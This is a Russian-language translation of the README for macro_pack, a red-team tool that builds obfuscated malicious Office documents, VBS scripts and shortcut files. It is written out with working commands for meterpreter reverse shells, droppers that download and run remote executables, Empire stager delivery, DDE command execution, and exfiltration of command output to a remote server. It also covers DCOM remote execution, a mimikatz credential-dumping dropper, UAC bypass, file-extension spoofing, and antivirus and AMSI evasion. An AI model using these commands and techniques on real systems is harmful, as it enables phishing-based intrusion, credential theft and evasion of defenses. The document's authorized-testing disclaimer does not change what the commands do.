
macro_pack — это инструмент от @EmericNasi, предназначенный для автоматизации обфускации и генерации документов Office, VB-скриптов, ярлыков и других форматов для пентестов, демонстраций и оценки социальной инженерии. Цель macro_pack — упростить эксплуатацию, обход антивирусных защит и автоматизировать процесс от создания вредоносных макросов и скриптов до генерации финального документа. Он также предоставляет множество полезных функций, применимых для redteam-операций и исследований в области безопасности.
MacroPack Community — это инструмент для автоматизации обфускации и генерации ретро-форматов, таких как документы MS Office или форматы на основе VBS. Он также поддерживает различные форматы ярлыков. Этот инструмент может использоваться для red teaming, пентестов, демонстраций и оценки социальной инженерии. MacroPack упрощает обход антивирусных решений и автоматизирует процесс от VBS-исходника до готового документа Office или другого типа полезной нагрузки. Он очень прост в использовании:
Инструмент совместим с полезными нагрузками, создаваемыми популярными инструментами для пентестов (Metasploit, Empire и др.). Его также легко комбинировать с другими инструментами, так как можно читать входные данные из stdin и получать тихий вывод в другой инструмент. Этот инструмент написан на Python3 и работает как на Linux, так и на Windows.
Примечание: Для автоматической генерации документов Office или функций троянизации требуется платформа Windows с установленными соответствующими приложениями MS Office.

Инструмент использует различные методы обфускации, все автоматические. Возможности обфускации совместимы со всеми форматами на основе VBA и VBS, которые могут быть сгенерированы MacroPack. Базовая обфускация (опция -o) включает:
MacroPack может генерировать несколько видов документов MS Office и скриптовых форматов. Формат будет автоматически определён в зависимости от расширения файла. Генерация файла осуществляется с помощью опции --generate или -G.
Pro-версия MacroPack также позволяет троянизировать существующие файлы Office с помощью опции --trojan или -T.
Поддерживаемые форматы MS Office:
Поддерживаемые текстовые форматы (скрипты):
Поддерживаемые форматы ярлыков/оболочек:
Обратите внимание, что все скриптовые форматы и форматы ярлыков (кроме LNK) могут быть созданы в Linux-версии MacroPack.
Данное программное обеспечение должно использоваться только в контексте мероприятий Red Team, тестирования на проникновение, симуляции фишинга, исследований безопасности или других форм оценки безопасности при наличии законного и формального разрешения владельцев систем. Использование данного программного обеспечения для атак на цели без предварительного согласия запрещено и незаконно. Пользователь обязан соблюдать все применимые местные, государственные, федеральные и национальные законы. Мы не несем никакой ответственности и не отвечаем за любое неправомерное использование или ущерб, который может быть причинен при использовании данного программного обеспечения.
Не все возможности и опции MacroPack доступны в MacroPack Community. Только версия Community доступна онлайн. Функции Pro-версии действительно «вооружают» процесс, поэтому доступ к ним ограничен профессионалами. Pro-режим включает такие возможности, как:
Некоторые короткие демонстрационные видео доступны на канале BallisKit Vimeo.
Важно: Если вы хотите связаться со мной по поводу MacroPack pro, используйте мой адрес электронной почты emeric.nasi [at] sevagas.com. Я не буду отвечать на анонимные запросы по Pro-версии, а только на профессиональные письма.
### Установка из исходных кодов
Для сборки MacroPack необходимо находиться на машине с Windows. Загрузите и установите зависимости:```bash
git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt
Инструмент написан на python 3, так что просто начните с вашей установки python3. ex:```bash python3 macro_pack.py --help
python macro_pack.py --help # if python3 is default install
Если вы хотите создать отдельный exe-файл с помощью pyinstaller:
* Установите pyinstaller: pip install pyinstaller
* Дважды щелкните по скрипту "build.bat".
Полученный macro_pack.exe будет находиться в каталоге **bin**.
## Некоторые примеры
### MacroPack Community
- Список всех поддерживаемых форматов файлов```bash
macro_pack.exe --listformats
- Обфусцировать VBA-файл, сгенерированный msfvenom, и поместить результат в новый VBA-файл.```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
- Создать файл MS Excel, содержащий обфусцированный дроппер (скачать payload.exe и сохранить как dropped.exe)```bash
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
- Загрузка и выполнение стейджера Empire Launcher без powershell.exe с использованием шаблона DROPPER_PS```bash
# 1 Generate a file containing Empire lauchcher
# 2 Make that file available on web server, ex with netcat:
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat empire_stager.cmd; } | nc -l -p 6666 -q1
# 3 Use macro\_pack to generate DROPPER_PS payload in Excel file
echo http://10.5.5.12:6543/empire_stager.cmd | macro_pack.exe -o -t DROPPER_PS -G join_the_empire.xls
# 4 When executed on target, the macro will download PowerShdll, run it with rundll32, and download and execute stager.
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/1646/23fa8cfadc283a7abf02bde5fd10748c8c1d90bc3d977ee47024fe4e9d963824.png" alt="Демонстрация DDE в Excel"></p>
- Загрузка и выполнение файла через PowerShell с использованием атаки Dynamic Data Exchange (DDE)```bash
# 1 Change the target file URL in resources\community\ps_dl_exec.cmd
# 2 Embed download execute cmd in document
macro_pack.exe --dde -f ..\resources\community\ps_dl_exec.cmd -G DDE.xslx
=cmd|' /c notepad.exe'!A1
macro_pack.exe -G dde.iqy
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/1646/26c6e5a38eb09ae914c743b473890cef40632ccbd25bce0a895f9f4770377f7d.png" alt="IQY demo"></p>
- Сгенерировать obfuscated meterpreter reverse TCP VBS файл и запустить его ```batch
# 1 Generate obfuscated VBS based on meterpreter template as well as Metasploit resource file
echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.vbs
# 2 On attacker machine Setup meterpreter listener
msfconsole -r meterpreter.rc
# 3 run VBS file with wscript (run 32bit wscript because meterpreter payload is 32bit)
%windir%\SysWoW64\wscript meter.vbs
echo http://192.168.0.5:1234/a "systeminfo" | macro_pack.exe -t REMOTE_CMD -o -G info.hta
macro_pack.exe -l . --port=1234
mshta.exe full/path/to/info.hta
- URL-ярлык, который при клике запускает локальный HTA-файл```batch
echo "file://C:\Users\username\Desktop\hello.hta" | macro_pack.exe -G yop.url
### Некоторые примеры MacroPack Pro
- Превратите существующий общий файл "report.xlsm" в троян с дроппером. Используйте функции anti-AV и anti-reverse.```bash
echo "http://10.5.5.12/drop.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER --bypass --stealth --antisandox --trojan "E:\accounting\report.xls"
- Троян для файла PowerPoint с обратным необработанным шелл-кодом. Макрос обфусцирован и искажён для обхода AMSI и большинства антивирусов.```bash
echo beacon.bin | macro_pack.exe -o -t SHELLCODE --bypass -T hotpics.pptm
REM Step 2: Generate document, for example here, meterpreter reverse TCP Excel file echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G meter.xlsm REM Step 3: Copy the document somewhere on remote share copy meter.xlsm "\192.168.0.8\c$\users\username\meter.xlsm" REM Step 4: Execute! macro_pack.exe --dcom="\192.168.0.8\c$\users\username\meter.xlsm"
REM Step 2 to 4 in one step: echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G "\192.168.0.8\c$\users\username\meter.xlsm" --dcom="\192.168.0.8\c$\users\username\meter.xlsm"
## Все варианты сообщества версии```
Main payload generation options:
-G, --generate=OUTPUT_FILE_PATH. Generates a file. Will guess the payload format based on extension.
MacroPack supports most Ms Office and VB based payloads as well various kinds of shortcut files.
Note: Office payload generation requires that MS Office application is installed on the machine
--listformats View all file formats which can be generated by MacroPack
-f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option or non VB formats
If no input file is provided, input must be passed via stdin (using a pipe).
-t, --template=TEMPLATE_NAME Use code template already included in MacroPack
MacroPack supports multiple predefined templates useful for social engineering, redteaming, and security bypass
--listtemplates View all templates provided by MacroPack
-e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document.
Use with EMBED_EXE template to auto drop and exec the file or with EMBED_DLL to drop/load the embedded dll.
Security bypass options:
-o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name)
--obfuscate-names-charset=<CHARSET> Set a charset for obfuscated variables and functions
Choose between: alpha, alphanum, complete or provide the list of char you want
--obfuscate-names-minlen=<len> Set min length of obfuscated variables and functions (default 8)
--obfuscate-names-maxlen=<len> Set max length of obfuscated variables and functions (default 20)
--uac-bypass Execute payload with high privileges if user is admin. Compatible with most MacroPack templates
Other options:
-q, --quiet Do not display anything on screen, just process request.
-p, --print Display result file on stdout (will display VBA for Office formats)
Combine this option with -q option to pipe result into another program
ex: cat input_file.vba | macro_pack.exe -o -G obfuscated.vba -q -p | another_app
-s, --start-function=START_FUNCTION Entry point of macro file
Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open as the start function
--icon Path of generated file icon. Default is %windir%\system32\imageres.dll,67
--dde Dynamic Data Exchange attack mode. Input will be inserted as a cmd command and executed via DDE
This option is only compatible with Excel formats.
--run=FILE_PATH Open document using COM to run macro. Can be useful to bypass whitelisting situations.
This will trigger AutoOpen/Workbook_Open automatically.
If no auto start function, use --start-function option to indicate which macro to run.
--unicode-rtlo=SPOOF_EXTENSION Inject the unicode U+202E char (Right-To-Left Override) to spoof the file extension when view in explorers.
Ex. To generate an hta file with spoofed jpg extension use options: -G something.hta --unicode-rtlo=jpg
In this case, windows or linux explorers will show the file named as: somethingath.jpg
-l, --listen=ROOT_PATH Open an HTTP server from ROOT_PATH listening on default port 80.
-w, --webdav-listen=ROOT_PATH Open a WebDAV server on default port 80, giving access to ROOT_PATH.
--port=PORT Specify the listening port for HTTP and WebDAV servers.
-h, --help Displays help and exit
Шаблоны можно вызывать с помощью -t, --template=ИМЯ_ШАБЛОНА в сочетании с другими опциями.
Ниже перечислены все доступные шаблоны.
Просто выводит приветственное сообщение и информацию о макросе.
Укажите имя или email автора для этого шаблона:
-> Пример: echo "@Author" | macro_pack.exe -t HELLO -G hello.pptm
Выполняет команду.
Укажите командную строку для этого шаблона:
-> Пример (запуск calc.exe из XSLT-файла): echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl
Выполняет командную строку и отправляет результаты на удалённый HTTP-сервер.
Укажите URL сервера и команду для выполнения:
-> Пример: ```echo "http://192.168.0.5:7777" "dir /Q C:" | macro_pack.exe -t REMOTE_CMD -o -G cmd.doc``````bash
nc -l -p 7777
### DROPPER
Скачать и выполнить файл.
Укажите этому шаблону URL файла и путь к целевому файлу
-> Пример: ```echo <file_to_drop_url> "<download_path>" | macro_pack.exe -t DROPPER -o -G dropper.xls```
### DROPPER_PS
Скачать и выполнить скрипт Powershell с помощью rundll32 (для обхода блокировки powershell.exe).
Примечание: Эта полезная нагрузка загрузит PowerShdll с Github.
Укажите этому шаблону URL скрипта powershell, который вы хотите запустить:
-> Пример: ```echo "<powershell_script_url>" | macro_pack.exe -t DROPPER_PS -o -G powpow.doc```
### DROPPER_DLL
Скачать DLL с другим расширением и запустить его с помощью Office VBA.
-> Пример, загрузите DLL meterpreter с помощью Office:```batch
REM Generate meterpreter dll payload
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f dll -o meter.dll
REM Make it available on webserver, ex using netcat on port 6666
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat meter.dll; } | nc -l -p 6666 -q1
REM Create OFfice file which will download DLL and call it
REM The DLL URL is http://192.168.0.5:6666/normal.html and it will be saved as .asd file
echo "http://192.168.0.5:6666/normal.html" Run | macro_pack.exe -t DROPPER_DLL -o -G meterdll.xls
Обратный TCP-шаблон Meterpreter с использованием MacroMeter от Cn33liz.
Этот шаблон представляет собой сборщик CSharp Meterpreter, созданный Cn33liz и внедренный в VBA с помощью DotNetToJScript от James Forshaw.
Передайте этому шаблону IP и PORT прослушивающего mfsconsole:
-> Пример: echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.docm
Этот шаблон также создает файл meterpreter.rc для настройки обработчика Metasploit.
-> Пример: msfconsole -r meterpreter.rc
Сбросить и выполнить встроенный файл.
В сочетании с опцией --embed сбрасывает и выполняет встроенный файл со случайным именем в папке TEMP.
-> Пример: macro_pack.exe -t EMBED_EXE --embed=c:\windows\system32\calc.exe -o -G my_calc.vbs
В сочетании с опцией --embed сбрасывает и вызывает функцию в указанной DLL.
Передайте этому шаблону имя и параметры функции для вызова в DLL.
-> Пример1 : echo "main" | macro_pack.exe -t EMBED_DLL --embed=cmd.dll -o -G cmd.doc
-> Пример2 : echo "main log privilege::debug sekurlsa::logonpasswords exit" | macro_pack.exe -t EMBED_DLL --embed=mimikatz.dll -o -G mimidropper.hta
Различные функции были протестированы на локально установленных антивирусных решениях, а также в онлайн-сервисах. Я провел несколько тестов с различными видами полезных нагрузок и функциями MacroPack. Большинство статических проверок антивирусов обходятся простой опцией "obfuscate". Однако, как и большинство бесплатных инструментов, полезные нагрузки обычно перехватываются поведенческим анализом, таким как AMSI. Функции, доступные в режиме MacroPack Pro, обычно обеспечивают полный обход антивирусов, включая AMSI.
Предупреждение: Не отправляйте свои образцы в онлайн-сканеры (например, VirusTotal) — это лучший способ испортить вашу скрытую макрос-нагрузку. Я также не рекомендую отправлять их на сайты, не публикующие отчеты, такие как NoDistribute. Вы не можете быть уверены, что эти сайты сделают с предоставленными данными. Если у вас возникли проблемы с обнаружением макросов антивирусом, вы можете написать нам за советом или создать issue или pull request.
Статьи в блоге о MacroPack Pro:
Статьи в блоге о взломе с помощью MS Office, VBS и других ретро-штучек:
Другие полезные ссылки:
Не стесняйтесь писать мне в Twitter: @EmericNasi
Email:
Важно: Если вы хотите связаться со мной по поводу MacroPack Pro, используйте мой email на sevagas.com. Также обратите внимание, что я не буду отвечать на анонимные запросы по версии Pro, только на профессиональные письма.
Copyright 2017,2018,2019,2020,2021,2022 Emeric “Sio” Nasi (blog.sevagas.com)